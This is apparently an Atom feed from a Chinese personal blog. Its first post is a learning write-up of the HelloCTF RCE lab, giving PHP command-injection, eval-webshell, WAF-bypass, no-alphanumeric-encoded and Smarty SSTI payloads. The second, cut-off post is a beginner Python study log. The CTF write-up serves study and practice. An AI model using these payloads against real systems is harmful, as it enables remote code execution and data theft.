<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Myrvyn</title>
  
  
  <link href="https://myrvyn.github.io/atom.xml" rel="self"/>
  
  <link href="https://myrvyn.github.io/"/>
  <updated>2026-11-01T12:46:13.523Z</updated>
  <id>https://myrvyn.github.io/</id>
  
  <author>
    <name>Myrvyn</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CTF-RCE篇</title>
    <link href="https://myrvyn.github.io/posts/39568b66.html"/>
    <id>https://myrvyn.github.io/posts/39568b66.html</id>
    <published>2026-10-30T11:56:09.000Z</published>
    <updated>2026-11-01T12:46:13.523Z</updated>
    
    <content type="html"><![CDATA[<h2 style="text-align:center">我的 Hello CTF-RCE 靶场通关全记录与避坑指南</h2><blockquote><p>刚接触 Web 安全时，看到满屏的 PHP 代码、各种奇形怪状的符号，整个人都是懵的。这次死磕了 HelloCTF 的 RCE 靶场，从最基础的 cat /flag，一路解到了“ 无回显 ”、“ 无参数 ”、“ 无字母数字取反 ”，甚至到了让我头皮发麻的“ Smarty 模板注入 ”。</p></blockquote><p><strong><em>这篇博客不仅记录了我的解题思路，更是我这几天的踩坑史。</em></strong></p><h2 id="第一章：核心心法（万能解题三板斧）">第一章：核心心法（万能解题三板斧）</h2><p><strong><em>拿到任何一道 Web 题，千万别从第一行代码开始死读，会晕。直接 Ctrl+F 搜索以下三个关键点 ( 眼神好的可以不搜 )：</em></strong></p><h3 id="第一板斧：找入口（数据从哪进来？）">第一板斧：找入口（数据从哪进来？）</h3><p><strong>解释：找门缝。</strong><br>你要攻击服务器，总得有个地方把你写的代码（ <strong>Payload</strong> ）就是你精心构造、发给服务器用来触发漏洞（ 比如执行命令 ）的那段恶意代码或数据。递进去。如果连门都没有，你武功再高也打不进去。<br>在 <strong>PHP</strong> 代码里，外部输入的 “ 门 ” 主要就是 <strong>GET</strong> 和 <strong>POST</strong>。</p><h3 id="为什么-GET-要加-而-POST-不加-？">为什么 GET 要加 ? 而 POST 不加 ？</h3><p><strong>核心原因</strong>：数据的 “ 包装方式 ”不同。</p><h4 id="1-GET（-明牌进门-）：数据直接贴在门面上">1. GET（ 明牌进门 ）：数据直接贴在门面上</h4><p><strong>你可以把 ? 想象成快递单上的 “ 分割线 ”。</strong></p><p>在 HTTP 协议里，URL 的本职工作是告诉服务器 “ 你要访问哪个页面 ” <strong>（ 比如 /index.php ）</strong>。如果这时你还想顺便带点数据过去，就必须用 ? 作为分隔符，大声告诉服务器：“ 前面的 /index.php 是地址，后面的 <strong>name=admin&amp;cmd=ls</strong> 是我要带的数据 。”</p><ul><li>为什么用 &amp;？ 因为带了多个参数（比如姓名和指令），就像串签子一样，用 &amp; 把它们连起来。</li></ul><h4 id="2-POST（-暗牌进门-）：数据装在信封里">2. POST（ 暗牌进门 ）：数据装在信封里</h4><p>POST 请求的 URL，只负责指路（ 比如就是干净的 /index.php ）。<br>你要传的数据，不会跟在 URL 后面，而是被塞进了一个叫 “ 请求体（ Request Body ） ” 的黑色信封里。服务器拿到这个信封（URL），知道里面有东西，它会自己拆开信封去拿数据，所以 URL 上根本不需要 ? 来做标记。</p><p><strong>CTF 思路</strong>：做 Web 题看到</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$_GET</span>[<span class="string">&#x27;参数名&#x27;</span>]</span><br><span class="line"><span class="variable">$_POST</span>[<span class="string">&#x27;参数名&#x27;</span>]</span><br></pre></td></tr></table></figure><p><strong>立刻明白</strong>：“ 这里就是我的突破口，它接收什么参数名，我就必须传什么参数名。”</p><h3 id="第二板斧：找限制（-门卫查了什么？）">第二板斧：找限制（ 门卫查了什么？）</h3><p><strong>解释：看安检机。</strong><br>你找到了门，但是门口站着保安（过滤代码），他不让你带着危险物品进去。在 <strong>PHP</strong> 里，最狠的保安就是 preg_match。</p><ul><li><strong>preg_match（正则过滤）</strong>：黑名单查杀。比如 preg_match(“/system|eval/i”, $cmd)，意思是只要你的传进去的数据里有 system 或者 eval 这个词，直接拉黑拦截。</li></ul><h3 id="什么是正则过滤？">什么是正则过滤？</h3><h4 id="1-通俗解释：保安">1. 通俗解释：保安</h4><p>“ 正则 ”（ 正则表达式 ）其实就是一种描述文字规则的公式。比如规定：“ 必须是 11 位纯数字 ”（ 手机号 ）、“ 必须以 .jpg 结尾 ”（图片）。<br>“ 正则过滤 ”就是服务器写在代码里的 “ 黑名单保安 ”。它拿着这个规则公式，去检查你发给服务器的每一句话（ 你的 Payload ）。只要发现里面有不符合规定，或者它觉得危险的词（ 比如 <strong>system、eval、flag</strong>、单引号 <strong>’</strong> ），它就会直接把你拦住，不让你执行。</p><h4 id="2-在-PHP-代码里长什么样？（-preg-match-）">2. 在 PHP 代码里长什么样？（ preg_match ）</h4><p><strong>你在题目里看到的 preg_match，就是 PHP 里专门用来做正则匹配的函数。</strong></p><p>比如，源码里如果写了这句：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/system|exec|shell/i&quot;</span>, <span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;黑名单拦截！你想干嘛！&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>这句话的意思是</strong>：如果你通过 GET 传进去的参数 cmd 里，包含了 system、exec、shell 这几个词（不区分大小写），服务器就会直接停止运行，并弹出“ 拦截 ”。</p><ul><li><strong>strlen（长度限制）</strong>：规定你传的话不能超过多少个字符。</li><li><strong>str_replace（替换过滤）</strong>：发现你带了危险词，直接给你换成空字符串。</li></ul><blockquote><p><strong>CTF 思路</strong>：知道保安在查什么，接下来就是“ 绕狗 ”（绕过安全狗）。保安查 system，你就用大小写 System、或者用拼接 sys.tem、或者换用它的兄弟函数 passthru 来代替。</p></blockquote><h3 id="第三板斧：找漏洞（杀招在哪？）">第三板斧：找漏洞（杀招在哪？）</h3><p><strong>解释：找武器的扳机。</strong><br>你成功把危险物品带进去了，但必须得有个人帮你 “ 按响扳机 ”，这个物品才能炸开。这就是危险函数，也就是 RCE（ 远程代码执行 ）的源头。</p><ul><li><strong>代码执行</strong>：eval( ) 它会把接收到的字符串当成 PHP 代码执行。比如传 ?code=phpinfo();。</li><li><strong>命令执行</strong>：system( )、exec( )、shell_exec( )、反引号 ` 它们会让服务器的 Linux 操作系统去跑命令。比如传 ?cmd=cat /flag。</li><li><strong>文件包含</strong>：include( )、require( )。用来把你的文件或者远程恶意代码拉进来运行。</li></ul><blockquote><p><strong>CTF 思路</strong>：这通常是题目要你用 Ctrl+F 找的终极目标。找到了 eval 或者 system，再配合第一板斧的入口和第二板斧的绕过，把参数传进去，Flag 就弹出来了！</p></blockquote><h3 id="代码执行-eval-和-命令执行-system-：">代码执行 ( eval ) 和 命令执行 ( system )：</h3><p><strong>eval( )</strong> ：把字符串当 PHP 代码跑。比如 eval (“system( ‘ls’ );”)</p><p><strong>system( )</strong> ：直接调用底层 Linux 命令。比如 system( “ls” ) ;</p><p><strong>无回显</strong> ：服务器执行了命令，但结果被重定向到“ 垃圾桶 ”（ /dev/null ），你在网页上看不到任何输出。</p><h3 id="RCE-实战必备：Linux-命令宝典-防忘我也记不住😇">RCE 实战必备：Linux 命令宝典( 防忘我也记不住😇)</h3><h4 id="1-基础探路（我是谁？我在哪？）">1. 基础探路（我是谁？我在哪？）</h4><p><strong>拿到命令执行权限后，先别急着找 Flag，先搞清楚自己在哪，是什么权限。</strong></p><ul><li><strong>whoami</strong> ：查看当前用户权限（如果是 www-data，说明权限较低；如果是 root，那恭喜你直接通关）。</li><li><strong>pwd</strong> ：查看当前所在目录。</li><li><strong>ls -la</strong> ：列出当前目录所有文件（包含隐藏文件）。</li><li><strong>uname -a</strong> ：查看系统内核版本（为提权做准备）。</li><li><strong>ifconfig 或 ip addr</strong> ：查看内网 IP，为后续内网渗透做准备。</li></ul><h4 id="2-花式找-Flag（绕过文件读取限制）">2. 花式找 Flag（绕过文件读取限制）</h4><p><strong>很多时候，题目会过滤掉 cat，或者 Flag 藏得很深。</strong></p><ul><li><strong>cat /flag</strong> ：最基础的读取。</li><li><strong>tac /flag</strong> ：反向读取（从最后一行往上读，常用于绕过 cat 的黑名单）。</li><li><strong>nl /flag</strong> ：带行号读取。</li><li><strong>head -n 100 /flag</strong> ：读取前 100 行。</li><li><strong>tail -n 100 /flag</strong> ：读取后 100 行。</li><li><strong>grep “flag{” -r /</strong> ：全局搜索。直接在整个根目录下搜包含 flag{ 的文件。</li><li><strong>find / -name “<em>flag</em>”</strong> ：根据文件名找含有 flag 的文件。</li><li><strong>sort /flag</strong> ：按字典序排序读取，有时候也能绕过简单的正则。</li></ul><h4 id="3-编码与特殊读取（应对无回显-乱码）">3. 编码与特殊读取（应对无回显/乱码）</h4><p><strong>当你的命令执行了，但因为特殊字符没回显，或者被 WAF 拦截了，可以用这些：</strong></p><ul><li><strong>base64 /flag</strong> ：把文件内容转成 Base64 编码输出（安全且不会因为特殊字符报错）。</li><li><strong>xxd /flag</strong> ：把文件转成十六进制输出。</li><li><strong>strings /flag</strong> ：提取文件里的可打印字符（有时候 Flag 藏在二进制文件里）。</li><li><strong>od -c /flag</strong> ：以八进制格式输出文件内容。</li></ul><h4 id="4-进阶绕过（当命令被拉黑时）">4. 进阶绕过（当命令被拉黑时）</h4><p><strong>如果题目过滤了空格、或者过滤了 cat：</strong></p><ul><li><strong>绕过空格</strong> ：cat$IFS/flag 或 cat&lt;flag</li><li><strong>绕过关键字</strong> ：c&quot;“at /fl”&quot;ag（双引号拼接）、c\at /flag（反斜杠转义）</li><li><strong>通配符绕过</strong> ：cat /fla? 或 cat /f*</li></ul><hr><h2 id="第二章：实战（按关卡类型拆解）">第二章：实战（按关卡类型拆解）</h2><h3 id="1-基础入门：一句话木马与文件上传">1. 基础入门：一句话木马与文件上传</h3><p><strong>题目表现</strong>：源码里有 eval($_POST[‘a’]) ; 或者有一个上传按钮。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 源码</span></span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;a&#x27;</span>]);</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Payload (传入 PHP 代码)</span><br><span class="line">a=system(&#x27;ls /&#x27;);</span><br></pre></td></tr></table></figure><p><strong>原理与解释</strong>：eval 是个听话的打手，你告诉他去干什么（ system ），他就干什么。@ 符号是消音器，屏蔽报错。</p><blockquote><p>避坑：上传文件后缀必须是 .php，传 .txt 服务器只会把它当文章展示，不会执行。</p></blockquote><h3 id="2-命令注入与逻辑运算符">2.命令注入与逻辑运算符</h3><p><strong>题目表现</strong>：利用 Linux 终端的分隔符强行拼接命令。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 源码</span></span><br><span class="line"><span class="title function_ invoke__">system</span>(<span class="string">&quot;ping -c 1 <span class="subst">$ip</span>&quot;</span>);</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Payload (利用管道符截断前面命令的回显，只输出结果)</span><br><span class="line">?ip=8.8.8.8 | cat /flag</span><br></pre></td></tr></table></figure><p><strong><em>在 Linux 里 | ; &amp;&amp; || 都可以用来连接多条命令。</em></strong></p><h3 id="3-与-WAF-的游戏（各种绕过）">3. 与 WAF 的游戏（各种绕过）</h3><p><strong>当 WAF 出现，我们可以给 Payload “ 易容 ”。</strong></p><p><strong>过滤了关键字 flag：</strong></p><ul><li><strong>过滤了关键字</strong> flag：<figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cat /fl?g      // 利用通配符</span><br><span class="line">cat /f*        // 利用星号</span><br><span class="line">cat /fl&#x27;&#x27;ag    // 字符串拼接</span><br></pre></td></tr></table></figure></li><li><strong>过滤了空格：</strong><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cat$IFS/flag   // 利用环境变量</span><br><span class="line">cat%09/flag    // 利用 Tab 键的 URL 编码</span><br></pre></td></tr></table></figure></li><li><strong>过滤了斜杠 /：</strong><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#x27;\057&#x27;        // 利用 ASCII 码的八进制表示</span><br></pre></td></tr></table></figure></li><li><strong>限制长度（如只允许 5 个字符）：</strong><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /f*</span><br></pre></td></tr></table></figure></li></ul><h3 id="4-无回显突破">4. 无回显突破</h3><p><strong>题目表现</strong>：出题人加了 &gt;/dev/null 2&gt;&amp;1，把你的结果扔进（垃圾桶）。</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// Payload 1：利用换行符强行撕开防线</span><br><span class="line">?cmd=cat /flag%0a</span><br><span class="line"></span><br><span class="line">// Payload 2：利用分号强行截断出题人的代码</span><br><span class="line">?cmd=cat /flag;</span><br><span class="line"></span><br><span class="line">// Payload 3：逻辑短路</span><br><span class="line">?cmd=cat /flag || /dev/null</span><br></pre></td></tr></table></figure><p><strong>解释</strong> ：出题人拿胶带封了你的嘴，你加个换行符，相当于在胶带上扎了个洞，声音就漏出来了。</p><h3 id="5-无参与无字母数">5. 无参与无字母数</h3><ul><li><strong>无参数 RCE</strong> ：不能带任何引号和参数。</li></ul><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 从请求头里偷数据</span><br><span class="line">?code=eval(current(getallheaders()))%3B</span><br></pre></td></tr></table></figure><p><strong><em>( 注意：末尾必须带分号，而且在 URL 里必须写成 %3B，我已经被坑惨了 )</em></strong></p><ul><li><strong>无字母数字（取反魔术）</strong>：所有字母和数字被禁。<figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 将 system(&#x27;cat /flag&#x27;) 彻底取反变成不可见字符</span><br><span class="line">code=$_=~&quot;%8C%86%8C%8B%9A%92&quot;;$__=~&quot;%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8&quot;;$_($__);</span><br></pre></td></tr></table></figure><strong>解释</strong>：计算机里字母都有编号，前面加 ~ 就变成了乱码。门卫看不懂放行，PHP 进后台自动帮你反转回来。</li></ul><h3 id="6-Smarty-模板注入-SSTI">6. Smarty 模板注入 ( SSTI )</h3><p><strong>题目表现</strong>：利用底层框架的链式调用来执行系统命令。这个非常恶心，往往需要用到 Python 脚本自动计算哈希值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 这是一个自动化生成并发送恶意路径的 Python 脚本片段</span></span><br><span class="line">target_file = <span class="string">&#x27;../&#123;Closure::fromCallable(system)-&gt;__invoke(&quot;cat /flag*&quot;)&#125;/../../pages/about&#x27;</span></span><br></pre></td></tr></table></figure><hr><h2 id="第三章：我踩的坑（-踩坑实录-）">第三章：我踩的坑（ 踩坑实录 ）</h2><p><strong>这部分是最精华的，因为我真的在这些地方卡了挺久。</strong></p><h4 id="1-被出题人的“假文件”骗了">1. 被出题人的“假文件”骗了</h4><p><strong>经历</strong>：用 scandir(‘/’) 扫到了 /flag，用 readfile 去读却报 No such file。<br><strong>避坑</strong>：这说明文件可能是个假软链接、被锁了权限。果断去扫描别的目录（ 比如 uploads ），或者直接读环境变量 getenv( )。</p><h4 id="2-取反漏了单引号，程序直接罢工">2. 取反漏了单引号，程序直接罢工</h4><p><strong>经历</strong>：把 cat /flag 取反了，结果报 Use of undefined constant。<br><strong>避坑</strong>：PHP 里的字符串需要引号包裹！单引号 ’ 也必须取反（变成 %D8）。</p><h4 id="3-HackBar-的-“-好心办坏事-”（-二次编码-）">3. HackBar 的 “ 好心办坏事 ”（ 二次编码 ）</h4><p><strong>经历</strong>：Payload 里有 %8C，被 WAF 拦了。因为 HackBar 自动把 % 再次编码成了 %258C，导致混入了数字 2 和 5，触发了拦截。<br><strong>避坑</strong>：遇到特殊符号多的 Payload，果断换成 Burp Suite 或 Python。Burp 是老实人，你写啥它发啥。</p><h4 id="4-环境太脆，动不动就-404">4. 环境太脆，动不动就 404</h4><p><strong>经历</strong>：代码明明没错，屏幕却回显一堆落花的 JS 代码。<br><strong>避坑指南</strong>：这说明靶场超时了，环境销毁了。去平台点重置环境。这不是你的错，是靶场太脆了。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 style=&quot;text-align:center&quot;&gt;我的 Hello CTF-RCE 靶场通关全记录与避坑指南&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;刚接触 Web 安全时，看到满屏的 PHP 代码、各种奇形怪状的符号，整个人都是懵的。这次死磕了 HelloCTF 的</summary>
      
    
    
    
    
    <category term="CTF" scheme="https://myrvyn.github.io/tags/CTF/"/>
    
    <category term="笔记" scheme="https://myrvyn.github.io/tags/%E7%AC%94%E8%AE%B0/"/>
    
  </entry>
  
  <entry>
    <title>1024程序员节学习复盘</title>
    <link href="https://myrvyn.github.io/posts/759850e3.html"/>
    <id>https://myrvyn.github.io/posts/759850e3.html</id>
    <published>2026-10-24T04:21:25.000Z</published>
    <updated>2026-10-26T14:08:27.616Z</updated>
    
    <content type="html"><![CDATA[<h2 style="text-align:center">1024程序员节</h2><blockquote><p>今天跟着“1024程序员节”的课表开始学 Python。上午的进度虽然只推进了两节（复习基础语法 + 函数）为了防止自己“学了就忘”，我把上午的踩坑记录和知识理解整理了一下。</p></blockquote><h3 id="一、-被-while-和-break-折磨">一、 被 while 和 break 折磨</h3><p>今天写的第一个完整程序是“重启终端：<strong>口令 1024</strong> 。代码虽然不长，但我调了好几次。<br>下面是我写的打卡器：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">check_count = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">if</span> check_count == <span class="number">3</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;今天打卡已上限，去休息吧&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    task = <span class="built_in">input</span>(<span class="string">&quot;请输入今天的学习内容(输入exit退出): &quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> task == <span class="string">&quot;exit&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;终端已关闭&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">if</span> task == <span class="string">&quot;1024&quot;</span>:</span><br><span class="line">        check_count += <span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;打卡成功，当前已打卡<span class="subst">&#123;check_count&#125;</span>/3个。&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span> * <span class="number">20</span>)</span><br></pre></td></tr></table></figure><blockquote><p>最后那句可以不写的,就是看起来更美观一点</p></blockquote><p><strong>给自己记下的两个教训：</strong></p><ol><li><strong>check_count = 0</strong> 必须写在 while 外面！ 我今天才彻底搞懂，如果把这个记分牌写在 while 里面，每次循环一开始，分数就被强行清零了，永远也攒不够 3 次 。</li><li>不加 break 就是是个死循环。 while True 是个无底洞，如果我不写 break 去结束它，即使输入了 <strong>exit</strong> ，程序也会继续问我 <strong>请输入学习内容</strong> 。</li></ol><h3 id="二、-懂了，但没完全懂的函数（参数和返回值）">二、 懂了，但没完全懂的函数（参数和返回值）</h3><p>上午重点学了 <strong>def</strong> 定义函数。我把函数整合到了打卡器里，写了进阶版的代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">calculate_exp</span>(<span class="params">times</span>):</span><br><span class="line">    base_exp = times * <span class="number">10</span></span><br><span class="line">    <span class="keyword">if</span> times &gt;= <span class="number">3</span>:</span><br><span class="line">        base_exp += <span class="number">50</span></span><br><span class="line">    <span class="keyword">return</span> base_exp</span><br><span class="line"></span><br><span class="line"><span class="comment"># ... 这里为了方便省略了while循环，主程序是前面标题一的那个代码 ...</span></span><br><span class="line">        my_exp = calculate_exp(check_count)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;获得经验值：<span class="subst">&#123;my_exp&#125;</span> 点！&quot;</span>)</span><br></pre></td></tr></table></figure><p>我们总说“定义一个函数”，我查了一下其实代码里的 <strong>def</strong> 就是英文 define（定义）的缩写。<br><strong>那函数又是什么</strong>：你放进去 <strong>参数</strong> ，按下启动键 <strong>执行代码</strong>，最后出来了 <strong>返回值</strong> 。它最大的好处就是把一堆干活的代码“ 打包 ”起来，起个名字，以后需要用到的时候，喊一声名字就行了，不用重复写。</p><ul><li><strong>def</strong> ：给电脑下达“造机器”的指令。</li><li><strong>calculate_exp</strong> ：给这个机器起的名字（以后叫名字就能用它）。</li><li><strong>( times )</strong>：机器接收参数的地方，得往里面塞个东西，机器才能运转。</li><li><strong>:（冒号）</strong>：这个很重要，它相当于宣告：“ 机器内部的构造说明书，从下一行开始！”所以下一行必须要缩进。<br><strong>我理解的</strong> ：原来 def 只是在“画图纸”和“造机器”。只要电脑没看到你 “ 按开关 ”（也就是没看到你调用 calculate_exp(3)），这台机器造好了也只会静静躺在那里，根本不会自己跑起来。只有调用它，它才会开始工作。</li></ul><p><strong><em>脑补</em></strong>：<strong>print</strong> 和 <strong>return</strong> 到底差在哪？<br>这是上午最卡我的地方。我还以为写个函数让它打印出来就完事了，今天才明白：</p><ul><li><strong>return</strong> 是交还结果：函数算完账，用 return 把数据悄悄塞回给外面的变量（ my_exp ），这一步在屏幕上是看不见的。</li><li><strong>print</strong> 只是让你看个响：外面拿到了 my_exp 这个数据后，我再写个 print，屏幕上才会出现“获得经验值”。<blockquote><p><strong>总结</strong> ：没 return，外面的程序就接不到数据；没 print，我就看不到结果。</p></blockquote></li></ul><h3 id="三、-实战做题：">三、 实战做题：</h3><p>上午做了一道限时题：算算距离 1024 经验差多少，如果超额了就输出 0，且要求不要打印任何提示语。<br>我提交的正确代码（后面还有翻车操作）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 接收输入：题目要求不要任何提示语，直接接收并转成整数</span></span><br><span class="line">n = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 算差值：目标 1024 减去当前分数 (n * 32)</span></span><br><span class="line">diff = <span class="number">1024</span> - n * <span class="number">32</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 判断输出：如果差值大于 0，说明还没达到；否则说明达到了或超额</span></span><br><span class="line"><span class="keyword">if</span> diff &gt; <span class="number">0</span>:</span><br><span class="line">    <span class="built_in">print</span>(diff)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p><strong>第一步：接收输入</strong></p><p>题目要求 “ 输入一个非负整数 ” ，然后题目是说：“不要打印任何提示语”。</p><p>所以，代码不能写 input(“请输入…：”)，只能写：<strong>n = int(input())</strong></p><p><strong>第二步：算差值</strong></p><p>题目说“每完成一道题获得 32 点经验”，那目前的经验就是 n * 32。目标是要攒够 1024 点经验，那距离目标还差多少呢？</p><p>就是拿总分减去当前分：1024 - (n * 32)。我把这个算出来的差值装进一个变量里，叫它 diff：</p><p><strong>diff = 1024 - n * 32</strong></p><blockquote><p>复盘时的反思：现在我觉得叫 task_count 更好<br>我上面交上去的代码里，变量用的是 n。这是数学题的老习惯，我当时图省事就写了。<br>但现在写这篇复盘博客时，我越看越觉得不对劲。代码不仅是给电脑跑的，更是给人看的。n 过几天我自己可能就忘了是啥意思。<br>如果把它起名叫 task_count（ 任务数量，也可以理解成题目数量 ），一眼就能看出这是“ 完成的题目数量 ”，可读性强多了。</p></blockquote><p><strong>第三步：判断输出</strong><br>题目要求：如果还没达到，输出差值；如果达到或超过了，输出 0。<br>这时候就要看 diff 的值了：</p><p>· 如果 diff &gt; 0：说明还没到 1024，那就直接输出差值。<br>· 如果 diff &lt;= 0（也就是 else）：说明不仅到了，还可能超额了（差值是负数或者0），题目要求这种情况输出 0，那就直接 print(0)。<br><strong>总结一下我的思考</strong>：<br>刚开始做题时，我容易在“大于、小于”里面绕进去（这也是我踩坑第 3 点写的，看别人写成 if diff &gt;= 1024 直接绕晕了）。<br>后来我想明白了：我只要关心“还差多少（正数）”就行了，至于超过的部分，题目说不用管，直接给个 0 就行。</p><h3 id="运行时我的翻车操作：">运行时我的翻车操作：</h3><p><strong>1.</strong> <strong>输入空回车会死机</strong> ：我运行测试的时候手欠，直接按了回车，结果报错，具体它写的什么不记得，但是大概意思就是：int( ) 遇到空字符串（空气）直接罢工了。以后测试这种题，千万不能习惯性按回车。</p><p><strong>2.</strong> <strong>不要乱加提示语</strong>：平时习惯写 input(“请输入…”)，但是系统它只认纯数字。</p><p><strong>3.</strong> <strong>逻辑差点写反</strong>：差值是 1024 - 得分。如果超额完成，这个差值就是负数。所以判断是否输出 0，条件是 if diff &lt;= 0 或者像上面那样 if diff &gt; 0 走正常流程。看别人代码时，发现有人写成了 if diff &gt;= 1024，逻辑直接就绕进去了。</p><h3 id="四、数据结构：把数据管起来（列表与字典）">四、数据结构：把数据管起来（列表与字典）</h3><p><strong>下午学了字典（<strong>Dict</strong>）和列表（<strong>List</strong>）</strong></p><ul><li><strong>字典</strong> ：用大括号 { } 包起来，左边是键（<strong>Key</strong>），右边是值（<strong>Value</strong>）。</li><li><strong>我犯的错</strong> ：一开始把年龄写成了 ‘year’ : ‘19’（加了引号变成了字符串）。以后要是拿年龄做加减法计算，绝对会报错，数字千万别加引号。<br><strong>先看一段最基础的代码，感受一下：</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 创建一个字典</span></span><br><span class="line">player = &#123;</span><br><span class="line">    <span class="string">&#x27;name&#x27;</span>: <span class="string">&#x27;myrvyn&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;year&#x27;</span>: <span class="number">19</span>,   <span class="comment">#我就是这里写错了😅，不要加引号</span></span><br><span class="line">    <span class="string">&#x27;hobby&#x27;</span>: <span class="string">&#x27;敲代码&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 读取：通过键名取值</span></span><br><span class="line"><span class="built_in">print</span>(player[<span class="string">&#x27;name&#x27;</span>])    <span class="comment"># 输出：myrvyn</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 修改：直接给键重新赋值</span></span><br><span class="line">player[<span class="string">&#x27;year&#x27;</span>] = <span class="number">20</span>      <span class="comment"># 年龄改成20岁</span></span><br><span class="line"><span class="built_in">print</span>(player[<span class="string">&#x27;year&#x27;</span>])    <span class="comment"># 输出：20</span></span><br></pre></td></tr></table></figure><p><em>用下来我觉得字典最好用的地方在于，它能用一个“名字（键）”直接找到对应的“东西（值）”。而且它是可变对象，我们可以随时修改里面的数据，这在做身份卡、存用户信息时非常方便。</em></p><hr><h4 id="菜单循环与功能拆分">菜单循环与功能拆分</h4><p>然后这是我课上写的代码分解：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 用字典存储个人身份信息</span></span><br><span class="line">my_info = &#123;</span><br><span class="line">    <span 